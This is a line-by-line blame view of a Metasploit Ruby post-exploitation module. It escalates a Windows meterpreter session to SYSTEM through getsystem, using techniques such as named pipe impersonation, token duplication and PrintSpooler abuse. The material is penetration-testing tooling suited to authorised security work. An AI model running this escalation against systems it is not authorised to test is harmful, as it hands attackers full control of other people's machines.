2011-11-11 16:19:49 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-11-11 16:19:49 -06:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'metasm'
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2011-11-11 16:19:49 -06:00
|
|
|
include Msf::Post::Windows::Priv
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2021-09-10 12:53:39 +01:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2022-09-16 14:53:45 -04:00
|
|
|
'Name' => 'Windows Escalation',
|
2021-09-10 12:53:39 +01:00
|
|
|
'Description' => %q{
|
2022-09-16 14:53:45 -04:00
|
|
|
This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various
|
|
|
|
|
techniques.
|
2021-09-10 12:53:39 +01:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => 'hdm',
|
|
|
|
|
'Platform' => [ 'win' ],
|
2021-10-06 13:43:31 +01:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
|
'Compat' => {
|
|
|
|
|
'Meterpreter' => {
|
|
|
|
|
'Commands' => %w[
|
|
|
|
|
priv_elevate_getsystem
|
|
|
|
|
]
|
|
|
|
|
}
|
2022-06-14 15:31:33 +02:00
|
|
|
},
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'AKA' => [
|
|
|
|
|
'Named Pipe Impersonation',
|
|
|
|
|
'Token Duplication',
|
|
|
|
|
'RPCSS',
|
|
|
|
|
'PrintSpooler',
|
|
|
|
|
'EFSRPC',
|
|
|
|
|
'EfsPotato'
|
|
|
|
|
]
|
2021-10-06 13:43:31 +01:00
|
|
|
}
|
2021-09-10 12:53:39 +01:00
|
|
|
)
|
|
|
|
|
)
|
2022-06-23 18:43:18 +02:00
|
|
|
|
|
|
|
|
register_options([
|
2023-02-08 13:47:34 +00:00
|
|
|
OptInt.new('TECHNIQUE', [false, 'Specify a particular technique to use (1-6), otherwise try them all', 0])
|
2022-06-23 18:43:18 +02:00
|
|
|
])
|
2011-11-11 16:19:49 -06:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-11-11 16:19:49 -06:00
|
|
|
def unsupported
|
2023-02-08 13:47:34 +00:00
|
|
|
print_error('This platform is not supported with this script!')
|
2011-11-11 16:19:49 -06:00
|
|
|
raise Rex::Script::Completed
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-11-11 16:19:49 -06:00
|
|
|
def run
|
2022-06-23 18:43:18 +02:00
|
|
|
technique = datastore['TECHNIQUE'].to_i
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2016-10-29 14:59:05 +10:00
|
|
|
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-11-11 16:19:49 -06:00
|
|
|
if is_system?
|
2023-02-08 13:47:34 +00:00
|
|
|
print_good('This session already has SYSTEM privileges')
|
2011-11-11 16:19:49 -06:00
|
|
|
return
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2016-08-15 23:51:05 -05:00
|
|
|
begin
|
|
|
|
|
result = client.priv.getsystem(technique)
|
|
|
|
|
print_good("Obtained SYSTEM via technique #{result[1]}")
|
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2023-02-08 13:47:34 +00:00
|
|
|
print_error('Failed to obtain SYSTEM access')
|
2011-11-11 16:19:49 -06:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
end
|